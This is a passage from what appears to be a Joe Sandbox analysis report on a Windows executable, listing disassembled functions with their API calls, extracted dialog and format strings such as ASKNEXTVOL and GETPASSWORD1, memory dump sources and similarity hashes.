                • API String ID: 3813983858-639343689
                • Opcode ID: 25f92ab1ef745eb4e6024134b59a14ba3a37ec7def4badcf96fd27382c1d29ec
                • Instruction ID: c31dc6eb28dc6975786651048dfacde3fb8a134cc77e0e6d71a4baddceeb5313
                • Opcode Fuzzy Hash: 25f92ab1ef745eb4e6024134b59a14ba3a37ec7def4badcf96fd27382c1d29ec
                • Instruction Fuzzy Hash: CD319571A44248AADF20EB689C41FFEBBE9EF15314F10409DF445A7292DB755A44CB60
                Function 00BD9C00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BC12D7: GetDlgItem.USER32(00000000,00003021), ref: 00BC131B
                  • Part of subcall function 00BC12D7: SetWindowTextW.USER32(00000000,00BF22E4), ref: 00BC1331
                • EndDialog.USER32(?,00000001), ref: 00BD9C88
                • GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00BD9C9D
                • SetDlgItemTextW.USER32(?,00000066,?), ref: 00BD9CB2
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ItemText$DialogWindow
                • String ID: ASKNEXTVOL
                • API String ID: 445417207-3402441367
                • Opcode ID: 50b11b02bd87f7fe3bd32e9e1809aec671b871ad6e13972385f236bafe7e7d21
                • Instruction ID: 017f2e564ce4fbd06de0efd1e77057d552e3be921dcf0707b29153c20c98ef27
                • Opcode Fuzzy Hash: 50b11b02bd87f7fe3bd32e9e1809aec671b871ad6e13972385f236bafe7e7d21
                • Instruction Fuzzy Hash: 08119633610100BFD6119F68DD49FAAB7E9EF47700F084096F241A73B1D7A19956D725
                Function 00BCCE9B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON
                Download Yara Rule
                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: __fprintf_l_strncpy
                • String ID: $%s$@%s
                • API String ID: 1857242416-834177443
                • Opcode ID: 749f466e54470716d293e6a91afccafb2f860bc90cc7aac90aa579b07b8cf784
                • Instruction ID: a7bcbd8be03c6e24fec29ffa18d8d763ddaca6b994035bf40b09073be6fe7641
                • Opcode Fuzzy Hash: 749f466e54470716d293e6a91afccafb2f860bc90cc7aac90aa579b07b8cf784
                • Instruction Fuzzy Hash: 1E216F72440209AADB20DFA4CD45FEE7FE9EB15700F0000AAFA19961A1E771E659CB61
                Function 00BDA123 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BC12D7: GetDlgItem.USER32(00000000,00003021), ref: 00BC131B
                  • Part of subcall function 00BC12D7: SetWindowTextW.USER32(00000000,00BF22E4), ref: 00BC1331
                • EndDialog.USER32(?,00000001), ref: 00BDA171
                • GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00BDA189
                • SetDlgItemTextW.USER32(?,00000067,?), ref: 00BDA1B7
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ItemText$DialogWindow
                • String ID: GETPASSWORD1
                • API String ID: 445417207-3292211884
                • Opcode ID: 579a4d51f1516eacba6df086facc9efa0c723ce31d0e30784088832d4a4ccf17
                • Instruction ID: 0201a2a438d3b69357607138a8d34eb3648bfadf5794c10b08d52322aba5ca93
                • Opcode Fuzzy Hash: 579a4d51f1516eacba6df086facc9efa0c723ce31d0e30784088832d4a4ccf17
                • Instruction Fuzzy Hash: 9B11E532500218B6DB219E649C49FFAB7BCEB0BB10F000096FA45F32C0D6B1E95496A2
                Function 00BCB254 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON
                Download Yara Rule
                APIs
                • _swprintf.LIBCMT ref: 00BCB27B
                  • Part of subcall function 00BC3F53: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BC3F66
                • _wcschr.LIBVCRUNTIME ref: 00BCB299
                • _wcschr.LIBVCRUNTIME ref: 00BCB2A9
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _wcschr$__vswprintf_c_l_swprintf
                • String ID: %c:\
                • API String ID: 525462905-3142399695
                • Opcode ID: 97e5cb53129480c450eed4991253956a9bffc3dc45e4a9c278a7f1b221fce83b
                • Instruction ID: 047bff65ff2790ddc9025f8ff09d91f8a5a1e175af152b30bd2352a12fdafc97
                • Opcode Fuzzy Hash: 97e5cb53129480c450eed4991253956a9bffc3dc45e4a9c278a7f1b221fce83b
                • Instruction Fuzzy Hash: AF01B5635043116A9A20AB798C87E6FBBECFF95770F94849EF844CA181FB20D854C2E1
                Function 00BD033D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON
                Download Yara Rule
                APIs
                • InitializeCriticalSection.KERNEL32(000001A0,00000000,?,?,?,00BCA909,00000008,00000000,?,?,00BCC89F,?,00000000,?,00000001,?), ref: 00BD0376
                • CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,?,?,00BCA909,00000008,00000000,?,?,00BCC89F,?,00000000), ref: 00BD0380
                • CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00BCA909,00000008,00000000,?,?,00BCC89F,?,00000000), ref: 00BD0390
                Strings
                • Thread pool initialization failed., xrefs: 00BD03A8
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Create$CriticalEventInitializeSectionSemaphore
                • String ID: Thread pool initialization failed.
                • API String ID: 3340455307-2182114853
                • Opcode ID: 8a407eb6f3935c52c6d6ac9a1f0ccc7a6ae5bcf92965ae7c2af70ff091c5cfd9
                • Instruction ID: c6ac403d1504f50383d91f3e2ffc7cbb7d33e3d59e6da2a680cefa0a558f8bae
                • Opcode Fuzzy Hash: 8a407eb6f3935c52c6d6ac9a1f0ccc7a6ae5bcf92965ae7c2af70ff091c5cfd9
                • Instruction Fuzzy Hash: B1111CB1641704AFD3206F659889BAAFBECEB55355F10486EE2DA83250DA716880CB24
                Function 00BDC9C4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON
                Download Yara Rule
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID: RENAMEDLG$REPLACEFILEDLG
                • API String ID: 0-56093855
                • Opcode ID: b4c680efb21b7fd644b474bd9a135c131e6d97786e5f86b07e22cf008ccbf13f
                • Instruction ID: 1516e7fa66766026b8786a0f0e962e837895c498cfbb953edea3fae838a4d2af
                • Opcode Fuzzy Hash: b4c680efb21b7fd644b474bd9a135c131e6d97786e5f86b07e22cf008ccbf13f
                • Instruction Fuzzy Hash: 64014C7264821AAFC705DB58EC40B6AFFD9E745794F0245A7F541A2230E262AC14DB61
                Function 00BE87A4 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: __alldvrm$_strrchr
                • String ID:
                • API String ID: 1036877536-0
                • Opcode ID: 91f601f58f35083189bfd89023f53da505b71da698404290d48592a166104e54
                • Instruction ID: 99d634329701b3b033f712a79bfb4511a50585c1960a0fb20379a8d51738cfc0
                • Opcode Fuzzy Hash: 91f601f58f35083189bfd89023f53da505b71da698404290d48592a166104e54
                • Instruction Fuzzy Hash: 15A13575D04AC69FEB21CF1AC8917BEBBE5EF51310F1841EAD8899B282DB388D41C751
                Function 00BCA03A Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON
                Download Yara Rule
                APIs
                • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00BC7FC2,?,?,?), ref: 00BCA0E0
                • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00BC7FC2,?,?), ref: 00BCA124
                • SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00BC7FC2,?,?,?,?,?,?,?,?), ref: 00BCA1A5
                • CloseHandle.KERNEL32(?,?,00000000,?,00BC7FC2,?,?,?,?,?,?,?,?,?,?,?), ref: 00BCA1AC
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: File$Create$CloseHandleTime
                • String ID:
                • API String ID: 2287278272-0
                • Opcode ID: ebc2fd8666c1651d951c0f2791df7397867e2867d35c78723dcb0f88ed60f013
                • Instruction ID: 3332adafe1115dcdff82d8b4302c6011178721902f63ba373e41fec8d55e2d1f
                • Opcode Fuzzy Hash: ebc2fd8666c1651d951c0f2791df7397867e2867d35c78723dcb0f88ed60f013
                • Instruction Fuzzy Hash: DE41CE316483859AE721DF34DC45FEBBBE8AF81748F08099DB5E0E31C0D665AA48DB53
                Function 00BEB645 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • MultiByteToWideChar.KERNEL32(?,00000000,47E85006,00BE3546,00000000,00000000,00BE457B,?,00BE457B,?,00000001,00BE3546,47E85006,00000001,00BE457B,00BE457B), ref: 00BEB692
                • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00BEB71B
                • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00BEB72D
                • __freea.LIBCMT ref: 00BEB736
                  • Part of subcall function 00BE7B00: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BE3006,?,0000015D,?,?,?,?,00BE44E2,000000FF,00000000,?,?), ref: 00BE7B32
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                • String ID:
                • API String ID: 2652629310-0
                • Opcode ID: 7098eb90ec3d0868d4b098ac22fcad2d17a80e0bb19f6e8c44f8f05c956828cd
                • Instruction ID: c874566774fd888a08d7ee241993a36dcf91ef5f588b1c501bae91cf694d556f
                • Opcode Fuzzy Hash: 7098eb90ec3d0868d4b098ac22fcad2d17a80e0bb19f6e8c44f8f05c956828cd
                • Instruction Fuzzy Hash: F031B072A1024AAFDF259F66DC85DAF7BE5EB40710B0401A9FC14DB250EB35DD50CBA0
                Function 00BDA553 Relevance: 6.1, APIs: 4, Instructions: 55windowCOMMON
                Download Yara Rule
                APIs
                • LoadBitmapW.USER32(00000065), ref: 00BDA563
                • GetObjectW.GDI32(00000000,00000018,?), ref: 00BDA584
                • DeleteObject.GDI32(00000000), ref: 00BDA5AC
                • DeleteObject.GDI32(00000000), ref: 00BDA5CB
                  • Part of subcall function 00BD96AD: FindResourceW.KERNEL32(00000066,PNG,?,?,00BDA5A5,00000066), ref: 00BD96BE
                  • Part of subcall function 00BD96AD: SizeofResource.KERNEL32(00000000,751E5780,?,?,00BDA5A5,00000066), ref: 00BD96D6
                  • Part of subcall function 00BD96AD: LoadResource.KERNEL32(00000000,?,?,00BDA5A5,00000066), ref: 00BD96E9
                  • Part of subcall function 00BD96AD: LockResource.KERNEL32(00000000,?,?,00BDA5A5,00000066), ref: 00BD96F4
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
                • String ID:
                • API String ID: 142272564-0
                • Opcode ID: 5ad0d78148e6cea2d699f9d209f5cd66ab14c5568ed048b94f4a295765c9e387
                • Instruction ID: ce6f100a3a05f36c0d81bffcfdd81dce2117a28885c2cbf02b2a5e4d76dfb82c
                • Opcode Fuzzy Hash: 5ad0d78148e6cea2d699f9d209f5cd66ab14c5568ed048b94f4a295765c9e387
                • Instruction Fuzzy Hash: D401F23268020567CA113768AC42F7FF6EEDB95B65F0902A2BD00A7391FE228C01D2A1
                Function 00BE1AC7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • ___BuildCatchObject.LIBVCRUNTIME ref: 00BE1ADE
                  • Part of subcall function 00BE2116: ___AdjustPointer.LIBCMT ref: 00BE2160
                • _UnwindNestedFrames.LIBCMT ref: 00BE1AF5
                • ___FrameUnwindToState.LIBVCRUNTIME ref: 00BE1B07
                • CallCatchBlock.LIBVCRUNTIME ref: 00BE1B2B
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                • String ID:
                • API String ID: 2633735394-0
                • Opcode ID: e3da2a47c8b844266460c9267bddc60f008fad40a125ee031368b8d419d6242b
                • Instruction ID: 91f54b151b58585f8d4964536e3703ce0e553a6d796e576524ea90c7cdfa468a
                • Opcode Fuzzy Hash: e3da2a47c8b844266460c9267bddc60f008fad40a125ee031368b8d419d6242b
                • Instruction Fuzzy Hash: 34014032000149FBCF129F5ACC01EEA7BBAFF48754F144455FD1862120D772E861EBA0
                Function 00BE15E6 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                Download Yara Rule
                APIs
                • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00BE15E6
                • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00BE15EB
                • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00BE15F0
                  • Part of subcall function 00BE26CE: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00BE26DF
                • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00BE1605
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                • String ID:
                • API String ID: 1761009282-0
                • Opcode ID: ddf0adde804129e3e3aff551b43878df0a9a162d909846b3bb4641761f25f26c
                • Instruction ID: e7fc2fa201524bd7d463541a6d6257bc691f9b397c84a0d6d91541bea3085243
                • Opcode Fuzzy Hash: ddf0adde804129e3e3aff551b43878df0a9a162d909846b3bb4641761f25f26c
                • Instruction Fuzzy Hash: 79C002A81046C5981C243BBF22026A903C95DA6785BB028E1FD52261135F29080B6832
                Function 00BD97D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BD9682: GetDC.USER32(00000000), ref: 00BD9686
                  • Part of subcall function 00BD9682: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BD9691
                  • Part of subcall function 00BD9682: ReleaseDC.USER32(00000000,00000000), ref: 00BD969C
                • GetObjectW.GDI32(?,00000018,?), ref: 00BD9801
                  • Part of subcall function 00BD99C7: GetDC.USER32(00000000), ref: 00BD99D0
                  • Part of subcall function 00BD99C7: GetObjectW.GDI32(?,00000018,?), ref: 00BD99FF
                  • Part of subcall function 00BD99C7: ReleaseDC.USER32(00000000,?), ref: 00BD9A93
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ObjectRelease$CapsDevice
                • String ID: (
                • API String ID: 1061551593-3887548279
                • Opcode ID: 63fe19d65523b3029e4c14777485c6c32a2608a5ffb194af6d23d2f282913e12
                • Instruction ID: b45bad3cef190883db87f1d8a60eaca5e5728c59b6784ab2e9ca187798879f2a
                • Opcode Fuzzy Hash: 63fe19d65523b3029e4c14777485c6c32a2608a5ffb194af6d23d2f282913e12
                • Instruction Fuzzy Hash: 0C6124B1204201AFD714DF64C884E6BBBE9FF89744F10495EF59ACB260DB31E905CBA2
                Function 00BD0AC7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON
                Download Yara Rule
                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _swprintf
                • String ID: %ls$%s: %s
                • API String ID: 589789837-2259941744
                • Opcode ID: abea6975781ca7dc03bdcaf37110cbee25b20bbac2cc6d6250c537f253b84902
                • Instruction ID: da2dc63054847ea16e060688250eccb93250a5b04a80ab1a19a8f74839906d0f
                • Opcode Fuzzy Hash: abea6975781ca7dc03bdcaf37110cbee25b20bbac2cc6d6250c537f253b84902
                • Instruction Fuzzy Hash: C0516A316BC704FAE6203AA48D82F75F6D5EB18F04F308AD7F787686E0F5926510E616
                Function 00BE9E9E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                Download Yara Rule
                APIs
                • _free.LIBCMT ref: 00BEA00A
                  • Part of subcall function 00BE7E31: IsProcessorFeaturePresent.KERNEL32(00000017,00BE7E20,00000016,00BE7B5E,0000002C,00BFAA30,00BEAFC3,?,?,?,00BE7E2D,00000000,00000000,00000000,00000000,00000000), ref: 00BE7E33
                  • Part of subcall function 00BE7E31: GetCurrentProcess.KERNEL32(C0000417,00BE7B5E,00000016,00BE85F4), ref: 00BE7E55
                  • Part of subcall function 00BE7E31: TerminateProcess.KERNEL32(00000000), ref: 00BE7E5C
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                • String ID: *?$.
                • API String ID: 2667617558-3972193922
                • Opcode ID: 508a7545cd9675eca434abbd3fe5994820486329c798d74d3b033fce6636bdc7
